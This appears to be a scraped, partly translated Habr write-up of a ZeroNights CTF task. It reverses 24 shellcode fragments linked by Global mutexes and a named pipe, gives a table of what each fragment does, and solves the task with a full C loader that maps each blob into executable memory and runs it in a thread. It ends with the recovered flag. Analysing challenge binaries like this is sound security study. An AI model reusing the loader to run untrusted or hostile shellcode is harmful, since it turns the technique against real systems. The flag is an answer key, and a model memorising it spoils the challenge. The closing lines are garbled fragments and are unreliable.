 Global\vtHAjnNbCecOeNAnVeQFmdRw Global\jGzXXZJbXGPYniopljDEdwuD Global\jpBuyMNJzdnpwHimVlcBkwGo Global\ArlCJOxJFOKRkqOLcBhvjYqj Global\THxjCBohxSlNgCFbwJsHujqk Global\BOiJhsLFBuZdsFdCrLKEucpJ Global\iYxszVIFfsuzzEmGwgOQeEcb Global\NOluZoXPJalShopCCuNnWQbR Global\GCrtPmNEAOsZpSNNBdiYQfgz Global\pVVgeqcREhXSgKCwhkeyfTXw Global\trsQPehKvlxBJhEqIPtwzjxi Global\ngVrhgAEqcDssFsNerrAZsFz Global\KiZvGyiMnyTgvQdFNGcudfTY Global\FzXvKPKGCPMAERklFMXVMYga Global\nCZpFZPtyidhFOvVeemfyJAC Global\pjRmfOLLBXIbsJholoasvrqC Global\mhOVYcYRKgWdABAsgkvrcOOM Global\syGiShcLTXfQYGAAiafYBxoF Global\KbFVsPCPZrfVlUIQlvVoJLXW Global\XbuYiHCxQLTLApuToFldJIgI Global\auFqpIQAlsHcvjPEakqHyIeA Global\MrnXOMJvHmYBxRfkbLBUYWgn Global\GYVOmvrLhCpgQUPfnOshzzem Global\qaswedfrtghyujkiol121232 \\.\pipe\zn_shell_stor 

Every shellcode is started with CALL $+X instruction (E8 ?? ?? ?? ??), followed by data block and executable code. Code is looking for some functions and evaluates logic based on data read from pipe "\.\pipe\zn_shell_stor" .


FileTagsMutex
b1mov movGlobal\GCrtPmNEAOsZpSNNBdiYQfgz
b2SBOX "axfksyBLjRfMFZXdINqyTXcekgCxPRNpKtmTAj SUdmElMsuKYkmFYbJxSbXwxmvQ"Global\NOluZoXPJalShopCCuNnWQbR
b3inc byte [rbp+0Ch]Global\ngVrhgAEqcDssFsNerrAZsFz
b4repne scasb strlen() == 18Global\jpBuyMNJzdnpwHimVlcBkwGo
b5??Global\ArlCJOxJFOKRkqOLcBhvjYqj
b6xor BUFFER "\x31\x2A\x72\xC8\x5E\x08\xC5\xFE \x07\x44\xCB\xEB\x76\x3B\xE1\x3A\x83"Global\MrnXOMJvHmYBxRfkbLBUYWgn
b7??Global\GYVOmvrLhCpgQUPfnOshzzem
b8cmp word [rbp+0Ch], 12hGlobal\KbFVsPCPZrfVlUIQlvVoJLXW
b9??Global\BOiJhsLFBuZdsFdCrLKEucpJ
b10??Global\iYxszVIFfsuzzEmGwgOQeEcb
b11cmpGlobal\pjRmfOLLBXIbsJholoasvrqC
b12add xor cl x2Global\nCZpFZPtyidhFOvVeemfyJAC
b13inc [rbp+0Ch]Global\auFqpIQAlsHcvjPEakqHyIeA
b14dw[rbp+0Ch] = dw[rbp+0Ch] + dw[rbp+0Ch]Global\syGiShcLTXfQYGAAiafYBxoF
b15WIN! Sleep BeepGlobal\XbuYiHCxQLTLApuToFldJIgI
b16save byteGlobal\mhOVYcYRKgWdABAsgkvrcOOM
b17add xor cl x2Global\FzXvKPKGCPMAERklFMXVMYga
b18zero rbp (0, 211h, 80h)Global\trsQPehKvlxBJhEqIPtwzjxi
b19??Global\KiZvGyiMnyTgvQdFNGcudfTY
b20Read from C:\beeps\flag.txtGlobal\vtHAjnNbCecOeNAnVeQFmdRw
b21MAIN
b22XorGlobal\THxjCBohxSlNgCFbwJsHujqk
b23cmp dw[rbp+0Ch], 256 decGlobal\pVVgeqcREhXSgKCwhkeyfTXw
b24beep(1000, 1100)Global\jGzXXZJbXGPYniopljDEdwuD

Understanding of shellcode actions is a little bit hard because everything tied together via pipe (A calls B, B calls C and etc.). We are required to jump from one shellcode to another during reversing.


I decided to execute it all and see what happens. All shellcodes was saved as files bN , where N is a number in range from 1 to 24 in order of appearing in memory dump. Dump #21 is the main dispatcher (it must be loaded first). File C:\beeps\flag.txt should be present in system for #20 to work.


 #include <windows.h> void load_shellcode(int index) { FILE* fp; DWORD dwThread; int size; CHAR filename[32]; sprintf_s(filename, "b%i", index); fopen_s(&fp, filename, "rb"); fseek(fp, 0, SEEK_END); size = ftell(fp); fseek(fp, 0, SEEK_SET); LPVOID pMem = VirtualAlloc( NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); printf("Loaded %i | size=%i | at %p\n", index, size, pMem); fread(pMem, 1, size, fp); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMem, 0, 0, &dwThread); fclose(fp); } int main() { load_shellcode(21); Sleep(1000); for (int i = 1; i <= 24; i++) { if (i == 21) continue; load_shellcode(i); } while (1) Sleep(1000); } 

I created C:\beeps\flag.txt with some dummy content (length is 17 as hinted by one of the shellcodes) and also set a breakpoint at module doing xor with buffer (#6).


Program executed and flag showed up in memory after XOR operation.


Flag: zn{$ucH SL0W !pC}


sysenter 6 . .


Einige Statistiken


. 136 .


.
— ASR-EHD Digital Security . (AV1ct0r), 22 15 .


Protected Shell RuCTFE. — 10. vos, 1 26.


, . 12-13 ZeroNights .

Source: https://habr.com/ru/post/de472416/


All Articles